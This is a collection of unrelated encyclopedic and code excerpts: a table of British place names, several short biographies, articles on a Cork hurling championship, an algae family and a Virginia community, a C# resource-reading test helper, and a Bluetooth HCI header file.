| class="adr" | Argyll and Bute
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saddington
| class="adr" | Leicestershire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saddle Bow
| class="adr" | Norfolk
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saddlescombe
| class="adr" | West Sussex
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saddle Street
| class="adr" | Dorset
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sadgill
| class="adr" | Cumbria
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saffron's Cross
| class="adr" | Herefordshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saffron Walden
| class="adr" | Essex
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sageston
| class="adr" | Pembrokeshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saham Hills
| class="adr" | Norfolk
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saham Toney
| class="adr" | Norfolk
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saighton
| class="adr" | Cheshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saintbridge
| class="adr" | Gloucestershire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saintbury
| class="adr" | Gloucestershire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saint Hill
| class="adr" | Devon
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saint Hill Green
| class="adr" | West Sussex
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saint's Hill
| class="adr" | Kent
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saith ffynnon
| class="adr" | Flintshire
| class="note" |
| class="note" |
|}
Sal–Sam
|- class="vcard"
| class="fn org" | Salcombe
| class="adr" | Devon
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salcombe Regis
| class="adr" | Devon
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salcott
| class="adr" | Essex
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salden
| class="adr" | Buckinghamshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sale
| class="adr" | Trafford
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saleby
| class="adr" | Lincolnshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sale Green
| class="adr" | Worcestershire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salehurst
| class="adr" | East Sussex
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salem
| class="adr" | Cornwall
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salem
| class="adr" | Ceredigion
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salem
| class="adr" | Carmarthenshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salen
| class="adr" | Argyll and Bute
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salen
| class="adr" | Highland
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salendine Nook
| class="adr" | Kirklees
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salenside
| class="adr" | Scottish Borders
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salesbury
| class="adr" | Lancashire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saleway
| class="adr" | Worcestershire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salford
| class="adr" | Bedfordshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salford
| class="adr" | Oxfordshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salford
| class="adr" | Greater Manchester
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salford Ford
| class="adr" | Milton Keynes
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salford Priors
| class="adr" | Warwickshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salfords
| class="adr" | Surrey
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salhouse
| class="adr" | Norfolk
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saline
| class="adr" | Fife
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salisbury
| class="adr" | Wiltshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salkeld Dykes
| class="adr" | Cumbria
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sallachy
| class="adr" | Highland
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salle
| class="adr" | Norfolk
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salmans
| class="adr" | Kent
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salmonby
| class="adr" | Lincolnshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salmonhutch
| class="adr" | Devon
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salperton
| class="adr" | Gloucestershire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salperton Park
| class="adr" | Gloucestershire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salph End
| class="adr" | Bedfordshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salsburgh
| class="adr" | North Lanarkshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salt
| class="adr" | Staffordshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salta
| class="adr" | Cumbria
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltaire
| class="adr" | Bradford
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltash
| class="adr" | Cornwall
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltburn
| class="adr" | Highland
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltburn-by-the-Sea
| class="adr" | Redcar and Cleveland
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltby
| class="adr" | Leicestershire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salt Coates
| class="adr" | Cumbria
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltcoats
| class="adr" | North Ayrshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltcoats
| class="adr" | Cumbria
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltcoats
| class="adr" | East Lothian
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltcotes
| class="adr" | Lancashire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltdean
| class="adr" | Brighton and Hove
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salt End
| class="adr" | East Riding of Yorkshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salterbeck
| class="adr" | Cumbria
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salterforth
| class="adr" | Lancashire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salters Heath
| class="adr" | Hampshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltershill
| class="adr" | Shropshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salters Lode
| class="adr" | Norfolk
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salter Street
| class="adr" | Warwickshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salterswall
| class="adr" | Cheshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salterton
| class="adr" | Wiltshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltfleet
| class="adr" | Lincolnshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltfleetby All Saints
| class="adr" | Lincolnshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltfleetby St Clement
| class="adr" | Lincolnshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltfleetby St Peter
| class="adr" | Lincolnshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltford
| class="adr" | Bath and North East Somerset
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salt Hill
| class="adr" | Berkshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salthouse
| class="adr" | Cumbria
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salthouse
| class="adr" | Norfolk
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltley
| class="adr" | Birmingham
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltmarsh
| class="adr" | City of Newport
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltmarshe
| class="adr" | East Riding of Yorkshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltness
| class="adr" | Orkney Islands
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltney
| class="adr" | Flintshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salton
| class="adr" | North Yorkshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltrens
| class="adr" | Devon
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltwell
| class="adr" | Gateshead
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltwick
| class="adr" | Northumberland
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Saltwood
| class="adr" | Kent
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salum
| class="adr" | Argyll and Bute
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salvington
| class="adr" | West Sussex
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salwarpe
| class="adr" | Worcestershire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Salway Ash
| class="adr" | Dorset
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sambourne
| class="adr" | Wiltshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sambourne
| class="adr" | Warwickshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sambrook
| class="adr" | Shropshire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Samhla
| class="adr" | Western Isles
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Samlesbury
| class="adr" | Lancashire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Samlesbury Bottoms
| class="adr" | Lancashire
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sampford Arundel
| class="adr" | Somerset
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sampford Brett
| class="adr" | Somerset
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sampford Chapple
| class="adr" | Devon
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sampford Courtenay
| class="adr" | Devon
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sampford Moor
| class="adr" | Somerset
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sampford Peverell
| class="adr" | Devon
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sampford Spiney
| class="adr" | Devon
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Samphrey
| class="adr" | Shetland Islands
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Samson
| class="adr" | Isles of Scilly
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Samuel's Corner
| class="adr" | Essex
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Samuelston
| class="adr" | East Lothian
| class="note" |
| class="note" |
|}
San
Sana–Sanc
|- class="vcard"
| class="fn org" | Sanachan
| class="adr" | Highland
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sancreed
| class="adr" | Cornwall
| class="note" |
| class="note" |
|- class="vcard"
| class="fn org" | Sancton
| class="adr" | East Riding of Yorkshire
| class="note" |
| class="note" |
|} |
Jon Henrik Ståhl (born 31 July 1975) is a Swedish actor, playwright, author (among the 2003 book Livskartan) and television host. He studied at Gothenburg Theatre Academy 1995–99. He hosted the children's TV program Bolibompa 1999–2004. He has participated in many Sveriges Television programmes, among them Supersnällasilversara och Stålhenrik and Pomos piano. He has travelled around in Sweden and performed his own play Henrik – en tönt which is about mobbing.
References
External links
Swedish television hosts
Swedish male actors
Living people
21st-century Swedish dramatists and playwrights
Swedish-language writers
1975 births
Swedish male dramatists and playwrights
Swedish podcasters |
Daniela Bauer (born 11 February 1986) is an Austrian freestyle skier. She is the reigning Australian Champion in halfpipe with the Championships last being held in 2008 at Perisher, Australia.
Bauer has also competed in World Championships and World Cups. She is currently ranked in the top 30 of the best female Halfpipe skiers in the world.
References
External links
FIS-Ski.com Profile
http://data.fis-ski.com/dynamic/athlete-biography.html?sector=FS&competitorid=151991&type=result
Living people
Austrian female freestyle skiers
1986 births
21st-century Austrian women |
```smalltalk
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Reflection;
namespace ClosedXML.Tests
{
/// <summary>
/// Summary description for ResourceFileExtractor.
/// </summary>
public sealed class ResourceFileExtractor
{
#region Static
#region Private fields
private static readonly IDictionary<string, ResourceFileExtractor> extractors = new ConcurrentDictionary<string, ResourceFileExtractor>();
#endregion Private fields
#region Public properties
/// <summary>Instance of resource extractor for executing assembly </summary>
public static ResourceFileExtractor Instance
{
get
{
Assembly _assembly = Assembly.GetCallingAssembly();
string _key = _assembly.GetName().FullName;
if (!extractors.TryGetValue(_key, out ResourceFileExtractor extractor)
&& !extractors.TryGetValue(_key, out extractor))
{
extractor = new ResourceFileExtractor(_assembly, true, null);
extractors.Add(_key, extractor);
}
return extractor;
}
}
#endregion Public properties
#endregion Static
#region Private fields
private readonly Assembly m_assembly;
private readonly ResourceFileExtractor m_baseExtractor;
private bool m_isStatic;
//private string ResourceFilePath { get; }
#endregion Private fields
#region Constructors
/// <summary>
/// Create instance
/// </summary>
/// <param name="resourceFilePath"><c>ResourceFilePath</c> in assembly. Example: .Properties.Scripts.</param>
/// <param name="baseExtractor"></param>
public ResourceFileExtractor(string resourceFilePath, ResourceFileExtractor baseExtractor)
: this(Assembly.GetCallingAssembly(), baseExtractor)
{
ResourceFilePath = resourceFilePath;
}
/// <summary>
/// Create instance
/// </summary>
/// <param name="baseExtractor"></param>
public ResourceFileExtractor(ResourceFileExtractor baseExtractor)
: this(Assembly.GetCallingAssembly(), baseExtractor)
{
}
/// <summary>
/// Create instance
/// </summary>
/// <param name="resourcePath"><c>ResourceFilePath</c> in assembly. Example: .Properties.Scripts.</param>
public ResourceFileExtractor(string resourcePath)
: this(Assembly.GetCallingAssembly(), resourcePath)
{
}
/// <summary>
/// Instance constructor
/// </summary>
/// <param name="assembly"></param>
/// <param name="resourcePath"></param>
public ResourceFileExtractor(Assembly assembly, string resourcePath)
: this(assembly ?? Assembly.GetCallingAssembly())
{
ResourceFilePath = resourcePath;
}
/// <summary>
/// Instance constructor
/// </summary>
public ResourceFileExtractor()
: this(Assembly.GetCallingAssembly())
{
}
/// <summary>
/// Instance constructor
/// </summary>
/// <param name="assembly"></param>
public ResourceFileExtractor(Assembly assembly)
: this(assembly ?? Assembly.GetCallingAssembly(), (ResourceFileExtractor)null)
{
}
/// <summary>
/// Instance constructor
/// </summary>
/// <param name="assembly"></param>
/// <param name="baseExtractor"></param>
public ResourceFileExtractor(Assembly assembly, ResourceFileExtractor baseExtractor)
: this(assembly ?? Assembly.GetCallingAssembly(), false, baseExtractor)
{
}
/// <summary>
/// Instance constructor
/// </summary>
/// <param name="assembly"></param>
/// <param name="isStatic"></param>
/// <param name="baseExtractor"></param>
/// <exception cref="ArgumentNullException">Argument is null.</exception>
private ResourceFileExtractor(Assembly assembly, bool isStatic, ResourceFileExtractor baseExtractor)
{
#region Check
if (assembly is null)
{
throw new ArgumentNullException("assembly");
}
#endregion Check
Assembly = assembly;
m_baseExtractor = baseExtractor;
AssemblyName = Assembly.GetName().Name;
IsStatic = isStatic;
ResourceFilePath = ".Resources.";
}
#endregion Constructors
#region Public properties
/// <summary> Work assembly </summary>
public Assembly Assembly { get; }
/// <summary> Work assembly name </summary>
public string AssemblyName { get; }
/// <summary>
/// Path to read resource files. Example: .Resources.Upgrades.
/// </summary>
public string ResourceFilePath { get; }
public bool IsStatic { get; set; }
public IEnumerable<string> GetFileNames(Func<String, Boolean> predicate = null)
{
predicate = predicate ?? (s => true);
string _path = AssemblyName + ResourceFilePath;
foreach (string _resourceName in Assembly.GetManifestResourceNames())
{
if (_resourceName.StartsWith(_path) && predicate(_resourceName))
{
yield return _resourceName.Replace(_path, string.Empty);
}
}
}
#endregion Public properties
#region Public methods
public string ReadFileFromResource(string fileName)
{
Stream _stream = ReadFileFromResourceToStream(fileName);
string _result;
StreamReader sr = new StreamReader(_stream);
try
{
_result = sr.ReadToEnd();
}
finally
{
sr.Close();
}
return _result;
}
public string ReadFileFromResourceFormat(string fileName, params object[] formatArgs)
{
return string.Format(ReadFileFromResource(fileName), formatArgs);
}
/// <summary>
/// Read file in current assembly by specific path
/// </summary>
/// <param name="specificPath">Specific path</param>
/// <param name="fileName">Read file name</param>
public string ReadSpecificFileFromResource(string specificPath, string fileName)
{
ResourceFileExtractor _ext = new ResourceFileExtractor(Assembly, specificPath);
return _ext.ReadFileFromResource(fileName);
}
/// <summary>
/// Read file in current assembly by specific file name
/// </summary>
/// <param name="fileName"></param>
/// <exception cref="ApplicationException"><c>ApplicationException</c>.</exception>
public Stream ReadFileFromResourceToStream(string fileName)
{
string _nameResFile = AssemblyName + ResourceFilePath + fileName;
Stream _stream = Assembly.GetManifestResourceStream(_nameResFile);
#region Not found
if (_stream is null)
{
#region Get from base extractor
if (!(m_baseExtractor is null))
{
return m_baseExtractor.ReadFileFromResourceToStream(fileName);
}
#endregion Get from base extractor
throw new ArgumentException("Can't find resource file " + _nameResFile, nameof(fileName));
}
#endregion Not found
return _stream;
}
#endregion Public methods
}
}
``` |
Hwang Ki-chul (; born 2 September 1956) is a South Korean ex Navy chief served as the Minister of Patriots and Veterans Affairs from 2020 to 2022.
Hwang previously served as deputy chief of navy during Lee Myung-bak administration from 2011 to 2012 and its chief during the following Park Geun-hye administration from 2013 to 2015. He also served as the head of his alma mater from 2012 to 2013.
On 14 August 2021, Hwang will visit Kazakhstan as president's special envoy to retrieve body of Hong Beom-do, the general commander of Korean independence army against Japanese rule over Korea.
He first entered politics in 2017. He joined then-candidate Moon Jae-in's presidential campaign in 2017. In the 2020 general election, he ran for Jinhae constituency which is his hometown and where major Navy facilities and his alma mater reside.
Hwang is a Korea Naval Academy graduate. He holds three degrees - a bachelor in French language and literature from Korea University, a master's in history from University of Paris 1 Pantheon-Sorbonne and a MBA from Kyung Hee University. He also completed a doctorate programme in political science at Hannam University.
Effective dates of promotion
Electoral history
Awards
Order of National Security Merit by the government of South Korea (2017)
Order of National Security Merit by the government of South Korea (2008)
References
Living people
Government ministers of South Korea
Democratic Party of Korea politicians
Korea University alumni
Pantheon-Sorbonne University alumni
1956 births
People from Changwon
Chiefs of Naval Operations (South Korea)
Korea Naval Academy alumni
Kyung Hee University alumni
Hannam University alumni
Ki-chul |
The 2014 Cork Intermediate Hurling Championship was the 105th staging of the Cork Intermediate Hurling Championship since its establishment by the Cork County Board in 1909. The draw for the opening rounds took place on 14 December 2014. The championship began on 31 May 2014 and ended on 26 October 2014.
On 26 October 2014, Fermoy won the championship following a 2-14 to 1-16 defeat of Charleville in the final at Páirc Uí Chaoimh. This was their first championship title in the grade. St. Catherine's returned to the junior grade for the first time in 31 years after suffering a two-point defeat by Dripsey in a relegation play-off.
Kildorrery's Peter O'Brien was the championship's top scorer with 1-47.
Team changes
To Championship
Promoted from the Cork Junior A Hurling Championship
Grenagh
Relegated from the Cork Premier Intermediate Hurling Championship
Ballincollig
From Championship
Promoted to the Cork Premier Intermediate Hurling Championship
Kanturk
Relegated to the North Cork Junior A Hurling Championship
Dromina
Results
First round
Second round
Third round
Relegation playoff
Fourth round
Aghada and Meelin received byes in this round.
Quarter-finals
Semi-finals
Final
Championship statistics
Top scorers
Overall
In a single game
References
Cork Intermediate Hurling Championship
Cork Intermediate Hurling Championship |
Selenastraceae is a family of green algae in the order Sphaeropleales. Members of this family are common components of the phytoplankton in freshwater habitats worldwide. A few species have been found in brackish and marine habitats, such as in the Baltic Sea.
Description
The family Selenastraceae includes solitary cells or colonies of cells. Cells are diverse in morphology; they may be coccoid to spindle-shaped in shape, with rounded or pointed ends. They may be sickle-shaped or spirally curved. Cells contain a chloroplast with a pyrenoid. Except in the genus Chlorolobion, the pyrenoid lacks a starch covering, making it difficult to observe using light microscopy. Cells range in size from 5 to 105 μm in length and 1.5 to 6.5 μm in width.
Algae in this family reproduce asexually, exclusively by autospores. A distinguishing characteristic of this family is the method of autospore formation: the protoplast divides serially, with divisions being perpendicular to the longer axis of the cell. Once divided, the daughter cells realign to become parallel with the daughter cell, and are then released.
Taxonomy
Selenastraceae is monophyletic. Traditionally, genera and species have been defined based on morphological features, such as habit (solitary or colonial), cell shape, presence or absence of mucilage, and presence and absence of pyrenoids. However, both genera and species have been shown to be polyphyletic.
The genus Closteriopsis consists of narrow, sickle-shaped cells with one chloroplast and multiple pyrenoids. It has been placed in the Selenastraceae due to its morphological similarity to genera such as Monoraphidium, but genetic analyses have shown that it is unrelated. It is currently placed in the family Chlorellaceae.
Uses
Some varieties of Selenastraceae, mainly from Monoraphidium and Ankistrodesmus, are promising candidates for biodiesel production. These strains produce large amounts of lipids under optimal growth conditions. Some strains may also be suitable for cultivation in wastewater, which would cut production costs.
References
Chlorophyceae families
Sphaeropleales |
```objective-c
/******************************************************************************
*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*
******************************************************************************/
#ifndef _HCI_LAYER_H_
#define _HCI_LAYER_H_
#include "common/bt_target.h"
#include "stack/bt_types.h"
#include "osi/allocator.h"
#include "osi/osi.h"
#include "osi/future.h"
#include "osi/thread.h"
#include "osi/pkt_queue.h"
///// LEGACY DEFINITIONS /////
/* Message event mask across Host/Controller lib and stack */
#define MSG_EVT_MASK 0xFF00 /* eq. BT_EVT_MASK */
#define MSG_SUB_EVT_MASK 0x00FF /* eq. BT_SUB_EVT_MASK */
/* Message event ID passed from Host/Controller lib to stack */
#define MSG_HC_TO_STACK_HCI_ERR 0x1300 /* eq. BT_EVT_TO_BTU_HCIT_ERR */
#define MSG_HC_TO_STACK_HCI_ACL 0x1100 /* eq. BT_EVT_TO_BTU_HCI_ACL */
#define MSG_HC_TO_STACK_HCI_SCO 0x1200 /* eq. BT_EVT_TO_BTU_HCI_SCO */
#define MSG_HC_TO_STACK_HCI_EVT 0x1000 /* eq. BT_EVT_TO_BTU_HCI_EVT */
#define MSG_HC_TO_STACK_L2C_SEG_XMIT 0x1900 /* eq. BT_EVT_TO_BTU_L2C_SEG_XMIT */
/* Message event ID passed from stack to vendor lib */
#define MSG_STACK_TO_HC_HCI_ACL 0x2100 /* eq. BT_EVT_TO_LM_HCI_ACL */
#define MSG_STACK_TO_HC_HCI_SCO 0x2200 /* eq. BT_EVT_TO_LM_HCI_SCO */
#define MSG_STACK_TO_HC_HCI_CMD 0x2000 /* eq. BT_EVT_TO_LM_HCI_CMD */
/* Local Bluetooth Controller ID for BR/EDR */
#define LOCAL_BR_EDR_CONTROLLER_ID 0
#define HCI_CMD_MSG_F_VND_FUTURE (0x01)
#define HCI_CMD_MSG_F_VND_QUEUED (0x02)
#define HCI_CMD_MSG_F_VND_SENT (0x04)
///// END LEGACY DEFINITIONS /////
typedef struct hci_hal_t hci_hal_t;
//typedef struct btsnoop_t btsnoop_t;
typedef struct controller_t controller_t;
//typedef struct hci_inject_t hci_inject_t;
typedef struct packet_fragmenter_t packet_fragmenter_t;
//typedef struct vendor_t vendor_t;
//typedef struct low_power_manager_t low_power_manager_t;
//typedef unsigned char * bdaddr_t;
typedef uint16_t command_opcode_t;
/*
typedef enum {
LPM_DISABLE,
LPM_ENABLE,
LPM_WAKE_ASSERT,
LPM_WAKE_DEASSERT
} low_power_command_t;
*/
typedef void (*command_complete_cb)(BT_HDR *response, void *context);
typedef void (*command_status_cb)(uint8_t status, BT_HDR *command, void *context);
typedef struct hci_t {
// Send a low power command, if supported and the low power manager is enabled.
//void (*send_low_power_command)(low_power_command_t command);
// Do the postload sequence (call after the rest of the BT stack initializes).
void (*do_postload)(void);
// Send a command through the HCI layer
void (*transmit_command)(
BT_HDR *command,
command_complete_cb complete_callback,
command_status_cb status_cb,
void *context
);
future_t *(*transmit_command_futured)(BT_HDR *command);
// Send some data downward through the HCI layer
void (*transmit_downward)(uint16_t type, void *data);
} hci_t;
const hci_t *hci_layer_get_interface(void);
int hci_start_up(void);
void hci_shut_down(void);
bool hci_downstream_data_post(uint32_t timeout);
#if (BLE_ADV_REPORT_FLOW_CONTROL == TRUE)
int hci_adv_credits_prep_to_release(uint16_t num);
int hci_adv_credits_try_release(uint16_t num);
int hci_adv_credits_force_release(uint16_t num);
#endif
#endif /* _HCI_LAYER_H_ */
``` |
Blue Ridge Shores is a census-designated place (CDP) in Louisa County, Virginia, United States. The population as of the 2010 census was 813. It was built beginning in 1960 as a resort community around Lake Louisa.
Geography
Blue Ridge Shores is in northern Louisa County, in the Piedmont region of Virginia. It is north of Louisa, the county seat, east of Charlottesville, and northwest of Richmond.
According to the U.S. Census Bureau, the CDP has a total area of , of which are land and , or 23.90%, are water. Lake Louisa, a reservoir built on Hickory Creek, is in the center of the community. Hickory Creek flows northeast to the North Anna River and is part of the Pamunkey River watershed, leading to the tidal York River and Chesapeake Bay.
History
A history of the community can be found at the Blue Ridge Shores community website.
References
External links
Blue Ridge Shores community website
Census-designated places in Louisa County, Virginia
Census-designated places in Virginia
Populated places established in 1960 |
The Reverend David Rees (14 November 1801– 31 March 1869) was a Welsh Congregational minister of Capel Als chapel Llanelli, Carmarthenshire, and an editor of a radical Welsh language Nonconformist periodical titled Y Diwygiwr (The Reformer). Known as 'Y Cynhyrfwr' ('The Agitator'), he held radical political views and opposed the relationship between the Established Church and the state.
Early life
Rees, son of Bernard and Anna Rees, was born and raised on the Gelli Lwyd farm in the parish of Trelech, Carmarthenshire. Whilst a child he worked on his family's farm as well as spending some time with the local blacksmith, as an apprentice.
Rees did not have any formal education as a child but was instructed at the Sunday school and participated in Christian worship regularly at home with his family.
In 1818 he became a member of Tre-lech Congregationalist church under the ministry of the Calvinistic minister Morgan Jones, and in 1822 with the aim of becoming a preacher, he enlisted as a student in a school in Haverfordwest, Pembrokeshire and later studied for a time at Carmarthen Grammar School.
Rees started preaching in 1823 at the age of 22 and after spending some time at a school in Newtown, Montgomeryshire, in 1825 he joined the Congregationalist academy, also in Newtown. Rees studied at the academy for four years and became familiar with some of the most notable Welsh Congregationalists of his time. One of these was the young Samuel Roberts, Llanbrynmair (S.R.) who was later to become a Congregational minister and editor of another radical Welsh publication Cronicl y Cymdeithasau Crefyddol ("Chronicle of Religious Societies").
Personal life
Rees married Sarah Roberts, the daughter of a successful shop owner who was a deacon with the Baptists, in 1832 and they had five children: Bernard, Elizabeth, John Calvin, Luther and Frederick. The last two drowned in a tragic accident when they were in their early teens. His wife Sarah also died in 1857, and Rees remarried in 1858, to Mrs Phillips, a widow from Carmarthen.
Ministry
After spending four years at the academy in Newtown, Rees accepted a call to be the minister of Capel Als in 1829 and remained there until his death in 1869. Shortly before he began his ministry, Rees purchased the freehold of the Capel Als site, together with the adjoining cemetery, from local industrialist Richard Pemberton. The sum paid was £65.
As well as leading many campaigns to renovate and enlarge the chapel, Rees also had a big influence in establishing four other Congregationalist churches in the vicinity: Park English Chapel, Capel y Bryn, Capel y Doc and Siloa, Llanelli.
At the start of Rees' ministry it is said that Capel Als had around 250 members. This number increased to 589 by 1850 even though many members had left to form the churches mentioned above.
By Rees' own account in the 1851 Religious Census, the chapel was nearly always full for the Sunday night service, with the numbers present calculated to be around 850 on most Sundays.
Y Diwygiwr
Rees established the Diwygiwr in 1835 as a direct result of the Congregationalist ministers' disapproval of the increasingly conservative nature of the Efangylydd ("Evangelist"), another publication geared towards the Congregationalists of south Wales, edited by David Owen (Brutus) who was later to become Rees' arch-rival.
Through his editorials in Y Diwygiwr, Rees lucidly disseminated the principles of Nonconformity and his pseudonym was developed from a quote in which he paraphrased Daniel O'Connell's famous "Agitate! Agitate! Agitate!" quote by writing "Cynhyrfer! Cynhyrfer! Cynhyrfer!"
Y Diwygiwr developed during his thirty-year editorship into a powerful voice in the battle against the alleged injustices felt by the Nonconformists, and was used to openly encourage Nonconformists to unite in protest against the oppressive power possessed by a combination of the British state and the Church of England. In addition to promulgating Nonconformist principles, the Diwygiwr also voiced its support for various political and social movements such as the Rebecca Riots, the Chartists, the Liberation Society and the Anti Corn Law League, but did not always advocate the methods they used, especially the most violent.
Rees' rise to prominence was also due to the long-standing feud between him and David Owen ("Brutus") who edited the Anglican publication Yr Haul ("The Sun"). In the literary exchanges between them, Brutus' satirical and vitriolic attacks on both Rees personally and Nonconformism in general were rebuffed by an unequivocal and passionate defence of the Nonconformists' Christian and political principles which were so prevalent in Rees' ideology.
Public life
Like many nineteenth century Welsh nonconformist ministers, Rees became active in public life and served on several bodies including the Llanelly Board of Guardians and the Llanelly Board of Health.
Bibliography
Y Diwygiwr (1835–1865)
Iorwerth Jones, David Rees y Cynhyrfwr (Swansea, 1971)
T. Davies, Bywyd ac Ysgrifeniadau y Diweddar Barch. D. Rees, Llanelli, (Llanelli, 1871) (The life and writings of the late Rev. D. Rees)
R.T. Jenkins (ed.) Dictionary of Welsh Biography down to 1940 (London, 1959)
References
External links
